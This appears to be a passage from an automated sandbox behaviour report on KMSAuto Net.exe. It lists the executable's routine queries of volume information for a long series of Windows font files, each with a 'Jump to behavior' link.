Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
